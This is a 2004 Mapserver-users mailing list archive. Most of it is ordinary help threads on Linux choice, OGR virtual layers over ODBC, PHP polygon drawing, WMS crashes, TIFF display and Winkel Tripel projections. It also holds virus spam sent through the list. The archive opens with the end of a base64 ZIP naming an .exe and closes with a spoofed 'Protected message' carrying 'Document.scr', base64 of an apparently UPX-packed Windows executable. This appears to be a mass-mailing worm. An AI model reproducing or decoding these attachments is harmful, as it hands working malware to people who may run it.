PImCyqDftlYy0fwZkzBOoflPNwLSLLA65+VgqTIu8D4yVxnSeI5S6dzDG2SfjkH1HsnRde2s ol90O9sQxneISaFnJfshs1TXZP0wsVh5kcAG7wI4AjDv+LsrNm7ZQIhLuYRyUQo8f2YmJ2gk AxFgrXiDfSitLJjgYIgXQziZiCRqSLN55LELLMqkEudYndq5p5p661ptDaFlXA+xo79rdlA+ GeBYrw6AapjkXT4ar7iWdGIffI0sSnnnIpVQOWBhBiaWAiDa/P/+cmlQpF86RodtgcNAUQTl fUQ9CL/BRXu7j1BvbfLFlzELLsdMw8yLERkI+SH35zqq2MAAw0NffjT6JntHbWl/1TEbPj0y H7h9V+MP+3u4sSqAcpXQlgfX4w9Q/w9T8oIZiJxaavViJyFj9gO1VZOoXl3MdNJjroAjFV+Q ITer6EelTTK1Jz8NZtF+U2Rc4qKzEBXka3TFxRG4CKtQfUHz+k+ekF8LJ1xgAk5sOmYCKgYh eUOx6uotn0oGlxewUSJuAtjVLUQ77eFr9k8Bsrqk46eF+cTI7OaFqsuw+5X3inYvZC76WxFQ SwMECgABAAgAYJisMFNeZBcXAAAABgAAAA0AAAB5YnZ4dGt5dHQudmlk9OPaM4qh8yFUwSlH +859aBiYdpYKnPxQSwECFAAKAAEACABgmKwwhhjwiVJWAADgUgAACwAAAAAAAAABACAAAAAA AAAAaWVqaXJsay5leGVQSwECFAAKAAEACABgmKwwU15kFxcAAAAGAAAADQAAAAAAAAABACAA AAB7VgAAeWJ2eHRreXR0LnZpZFBLBQYAAAAAAgACAHQAAAC9VgAAAAA= ----------dvqdpfsmuhqvkjidbjda-- From bigfoot at main-task.com Wed May 12 17:48:58 2004 From: bigfoot at main-task.com (=?ISO-8859-1?Q?Vladimir_Guzm=E1n?=) Date: Wed, 12 May 2004 19:48:58 -0500 Subject: [Mapserver-users] Suse 9.1 Linux a good Choice for Mapserver? In-Reply-To: <40A27828.7@ccgis.de> References: <40A27828.7@ccgis.de> Message-ID: <40A2C5FA.709@main-task.com> I use SuSE 8.2 and I'm very - very satisfied. I use PostgreSQL/Postgis, and I've never been in a trouble related with OS. Vladimir Ilich Guzm?n R. ------------------------ http://maintask.com Arnulf Christl wrote: > Mark Rodrigo wrote: > >> Hello all: >> >> I have seen Tyler Mitchell's polls on the flavor of Linux people have >> been >> running, and it seems like Redhat has won out. I too have been >> working with >> a Redhat 9 implementation, but don't think I want to go to RH >> enterprise @ >> 350$/yr. I have been thinking about Debian, FreeBSD, but mostly SUSE 9.1 >> professional. Any strong feelings for/against SUSE 9.1 pro or maybe an >> earlier version? > > Even the newest SuSE you can get is just a little behind and awkward > when using PostgreSQL/PostGIS. Ask our admin & he'll have strong > feelings against SuSE, but he'll manage anyway. If you *can* choose we > rather recommend using Debain or FreeBSD. > > Regards, Arnulf. > >> Only thing is I would also like to do Tomcat/Java 1.4 on >> that same OS, and be able to port to a dedicated server. >> >> Thanks >> >> Mark >> >> >> _______________________________________________ >> Mapserver-users mailing list >> Mapserver-users at lists.gis.umn.edu >> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> >> > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > From TMitchell at lignum.com Wed May 12 20:23:40 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Wed, 12 May 2004 20:23:40 -0700 Subject: [Mapserver-users] New changes ScanMail has detected a virus! In-Reply-To: Message-ID: Anyone trying to track down the culprit sending these out? I assume someone's infected with a virus and has Steve's name in their address book. Either way, I know it wasn't kmail on linux doing it :) mapserver-users-admin at lists.gis.umn.edu wrote on 05/12/2004 06:21:32 PM: > > For security purposes the attached file is password protected. > Password -- [image removed] > [attachment "uffdhsrrmi.bmp" deleted by Tyler Mitchell/Lignum] > [attachment "Half_Live.zip" deleted by Tyler Mitchell/Lignum] From pdymecki at sympatico.ca Wed May 12 21:22:47 2004 From: pdymecki at sympatico.ca (Paul Dymecki) Date: Thu, 13 May 2004 00:22:47 -0400 Subject: [Mapserver-users] Generating dynamic point layer References: <8AE17DD6AA4FD51191CD0002A551168101B89727@s5-van1-r1.ess.nrcan.gc.ca> Message-ID: <005e01c438a1$f2968f60$7b45fea9@paul> Hi Joost, Is there a way of doing joins between 2 odbc tables with OGR? Thanks, Paul Dymecki ----- Original Message ----- From: "Van Ulden, Joost" To: "'David Fawcett'" ; ; Cc: Sent: Wednesday, May 12, 2004 2:11 PM Subject: RE: [Mapserver-users] Generating dynamic point layer > > Hi David, > > You can use OGR to connect to your access database. Consider the following > layer object: > > LAYER > NAME OGRPoints > TYPE POINT > CONNECTIONTYPE OGR > CONNECTION > > ' > > ODBC:MySystemDSN,MyTable > MyTable > wkbPoint > y="MyYColumn"/> > > ' > > DUMP TRUE # for WFS only > DATA "MyPoints" > STATUS default > CLASS > SYMBOL 'circle' > SIZE 25 > COLOR 255 0 0 > END > END > > You can do this for any ODBC compliant db. Let me know if you need anything > further. > > Regards, > > ============================================ > Joost van Ulden > Programmer/Analyst > Natural Resources Canada / Ressources naturelles Canada > Geological Survey of Canada / Commission geologique du Canada > 101 - 605 Robson Street / 101 - 605 rue Robson > Vancouver, B.C. / Vancouver (C.B.) > V6B 5J3 > Office/Bureau: 604.666.7525 > fax/telecopieur: 604.666.1124 > jvanulde at nrcan.gc.ca > ============================================ > > > > -----Original Message----- > From: David Fawcett [mailto:David.Fawcett at state.mn.us] > Sent: Wednesday, May 12, 2004 7:14 AM > To: samuzzal at linux.net; fx.prunayre at oieau.fr > Cc: mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] Generating dynamic point layer > > > Has anyone successfully created point layers from Access .mdb files? > > David J. Fawcett > MN Office of Environmental Assistance > > >>> Fran?ois-Xavier Prunayre 5/12/2004 4:47:23 AM > >>> >>> > > I have an access table with the georeferencing positions (X, Y). > > Could anybody please help me by sending some code to generate a point > > layer dynamically from these information. Thanks for previous helps I > > got from the group. > > You could do that using OGR virtual layer; Wiki page is > http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData. > > Set DSN in odbc connection; for exemple French, > then Ovf file look like this : > > > ODBC:French,STATIONS > STATIONS > wkbPoint > > x="X_LAMBERT_II_ET" y="Y_LAMBERT_II_ET"/> > where X_LAMBERT_II_ET is X coordinates and > Y_LAMBERT_II_ET is Y. > > Map file layer tag is : > LAYER > NAME OVF > TYPE POINT > CONNECTIONTYPE OGR > CONNECTION "french.ovf" > DATA "STATIONS" # the name of the OGRVrtLayer > STATUS DEFAULT > PROJECTION > "init=epsg:27582" > END > DUMP TRUE > CLASS > TEMPLATE "ttt_query.html" > SYMBOL "circle" > SIZE 6 > NAME "STATION_FR" > OUTLINECOLOR 239 16 16 > END > END > > You could also use Mapscript. > > HTH > Francois > > ----- Original Message ----- > From: "Sam Choudry" > To: > Sent: Wednesday, May 12, 2004 9:27 AM > Subject: [Mapserver-users] Generating dynamic point layer > > > > Hello group, > > > > > > Samuzzal > > > > > > > > _____________________________________________________________ > > Linux.Net -->Open Source to everyone > > Powered by Linare Corporation > > http://www.linare.com/ > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > -- > > Ce message a ete verifie par MailScanner pour des virus ou des polluriels > et rien de suspect n'a ete trouve. > > > > Les donnees et renseignements contenus dans ce message sont > > personnels, > confidentiels et prives. Toute publication, utilisation ou diffusion, meme > partielle, doit etre autorisee. > > > > Any data and information contained in this electronic mail is > > personal, > confidential and secret. Any total or partial publication, use or > distribution must be authorized. > > > -- > Ce message a ete verifie par MailScanner pour des virus ou des polluriels et > rien de suspect n'a ete trouve. > > Les donnees et renseignements contenus dans ce message sont personnels, > confidentiels et prives. Toute publication, utilisation ou diffusion, meme > partielle, doit etre autorisee. > > Any data and information contained in this electronic mail is personal, > confidential and secret. Any total or partial publication, use or > distribution must be authorized. > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From hal at mobilegeographics.com Wed May 12 22:59:08 2004 From: hal at mobilegeographics.com (Hal Mueller) Date: Wed, 12 May 2004 22:59:08 -0700 Subject: [Mapserver-users] AVL In-Reply-To: <20040507064818.6198.qmail@web41507.mail.yahoo.com> References: <20040507064818.6198.qmail@web41507.mail.yahoo.com> Message-ID: here's a prototype (tracking ships in this case): http://www.sailwx.info/shiptrack/researchships.phtml Position data comes via FTP into MySQL, and is stored naively (a LAT column, a LON column, ship ID, position time). H From mapserver at gijs.com Thu May 13 00:14:34 2004 From: mapserver at gijs.com (Gijs Epping) Date: Thu, 13 May 2004 09:14:34 +0200 Subject: [Mapserver-users] Virtual polygon problem!! In-Reply-To: <000001c43815$203eed00$0600a8c0@at11> Message-ID: <000201c438b9$f1c26290$0600a8c0@at11> I allready found the problem i had to add the begin point the end. Begin point Point Point Point Etc... Begin point Hope this helps somebody G > -----Oorspronkelijk bericht----- > Van: Gijs Epping [mailto:mapserver at gijs.com] > Verzonden: woensdag 12 mei 2004 13:35 > Aan: mapserver-users at lists.gis.umn.edu > Onderwerp: [Mapserver-users] Virtual polygon problem!! > > Hello, > > We are creating a polygon with the following code > > function addPolygon($style) > { > global $gpoMap; > $style->color->setRGB(255, 0, 255); > $style->outlinecolor->setRGB(255, 0, 0); > > $shp = ms_newShapeObj($this->type); > $line = ms_newLineObj(); > $point = ms_newPointObj(); > for($i=0; $icoordinates); $i++) > { > if($i==0) > { > $line->addXY($this->coordinates[$i]->x, $this->coordinates[$i]->y); > } > $line->addXY($this->coordinates[$i]->x, $this->coordinates[$i]->y); > } > $shp->add($line); > return $shp; > } > > after this the polygon is added with $layer->addFeature($shp); > > > Now the weird thing is that if you zoom in, and a corner point from a > polygon (a square for example) drops next to the extend of the map the > square becomes I triangle. So the corner points next to the map extend > are cut off. > > I did send some examples that you can see what is happening!!!! > > Is there a solution that it will draw the polygons correct > > Thanks in advance > > Gijs > > > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.678 / Virus Database: 440 - Release Date: 6-5-2004 > > > > --- > Incoming mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.678 / Virus Database: 440 - Release Date: 6-5-2004 > > --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.678 / Virus Database: 440 - Release Date: 6-5-2004 From cristinanoversa at clix.pt Thu May 13 04:01:36 2004 From: cristinanoversa at clix.pt (cristinanoversa at clix.pt) Date: Thu, 13 May 2004 12:01:36 +0100 Subject: [Mapserver-users] mapserver crashes Message-ID: <20040513110137.27707.qmail@maboque.srv.clix.pt>

Hi

I?m trying to use ESRI ArcMap 8.2 as a client for WMS MapServer.

I can get the list of layers that I?m working with, but every time I tried to add this data to get?my map visualization, I get
Mapserver to crash.

I know there is nothing wrong with my shapefiles, I can read them directly from ArcMap.
And If I invoke my mapfile through the browser I can also get my map.
I also have tried to list some image service layers hosted on an existing WMS (http://www.geographynetwork.com/servlet/com.esri.wms.Esrimap?) and I had success.

Can anyone give me some help on this?

Cristina Noversa

Clix Rapidix - Aumente at? 6X a velocidade da sua Internet
Adira em http://acesso.clix.pt e comece logo a navegar


  From m.meier at spiekermann.de Thu May 13 04:11:49 2004 From: m.meier at spiekermann.de (Manfred Meier) Date: Thu, 13 May 2004 13:11:49 +0200 Subject: [Mapserver-users] 1-bit tiff with min-is-white Message-ID: <40A357F5.8080505@spiekermann.de> Hello list, I'm using mapserver 4.0.2 with perl-mapscript and i want to display a tiff for which "tiffinfo" says the following: TIFF Directory at offset 0x8 Subfile Type: (0 = 0x0) Image Width: 9759 Image Length: 9362 Resolution: 508, 508 pixels/inch Bits/Sample: 1 Compression Scheme: CCITT Group 4 facsimile encoding Photometric Interpretation: min-is-white Date & Time: "2001:10:30 09:32:44" Software: "SICAD-RBS V5.0" Samples/Pixel: 1 Rows/Strip: 6 Planar Configuration: single image plane Group 4 Options: (0 = 0x0) The picture comes up on the screen but i cannot change the "foreground"-color to e.g. light-gray with CLASS and EXPRESSION in the map-file. Is this possible or have I to convert the tiff to some 8-bit format? Thanks Manfred From schick at sdac.hannover.bgr.de Thu May 13 04:59:25 2004 From: schick at sdac.hannover.bgr.de (Agneta Schick) Date: Thu, 13 May 2004 13:59:25 +0200 (MEST) Subject: [Mapserver-users] proj4 and mapserver Message-ID: <200405131159.i4DBxPIA004591@b3sn28.hannover.bgr.de> Dear reader, I'm trying to display a layer of symbols which are lat/long coordinates (from shape files) on a map in winkel tripel projection (generated by GMT). My problem is when I DO NOT specify "projection latlong" in the map file for the layer with symbols, the symbols are displayed but, of course, in the wrong place and when I specify "projection latlong" the symbols are not displayed at all. I assume that my specifications for the winkel tripel projection are not correct/complete. Using "proj -l=wintri" I get wintri : Winkel Tripel Misc Sph lat_1 Does this mean that "lat_1" is the only information I need supply for the projection definition aside from "proj=wintri"? I've defined the map extents as -140 -90 220 90 with units dd. Can I use degrees when using proj4 although the output from proj is meters? I'm using MapServer version 4.0.1, gdal-1.1.9, libpng-1.2.5, proj-4.4.7, Shape-0.04, shapelib-1.2.10 on Solaris9. Thank you, Agneta Schick ============================================================ MAP NAME "ERMOS" STATUS ON EXTENT -140. -90. 220. 90. UNITS DD SIZE 947 612 SHAPEPATH "/space/b3sn13/webdb/htdocs/ermos/data" IMAGECOLOR 255 0 0 IMAGETYPE png SYMBOL NAME 'circle' TYPE ELLIPSE POINTS 1 1 END FILLED TRUE END PROJECTION "proj=wintri" "lat_1=0" "lon_0=40e" END LAYER NAME 'world' DATA /space/b3sn13/webdb/htdocs/ermos/data/wintri.tif TYPE RASTER STATUS DEFAULT END LAYER NAME 'quakes' DATA 'usgs' TYPE POINT STATUS ON PROJECTION "proj=latlong" "datum=WGS84" END CLASS SYMBOL 'circle' SIZE 5 OUTLINECOLOR 0 0 0 COLOR 255 0 0 END END END From steve.lime at dnr.state.mn.us Thu May 13 06:12:55 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Thu, 13 May 2004 07:12:55 -0600 Subject: [Mapserver-users] Protected message Message-ID: ----------mleoympvpkumyxyphexm Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------mleoympvpkumyxyphexm Content-Type: application/octet-stream; name="Document.scr" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Document.scr" 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 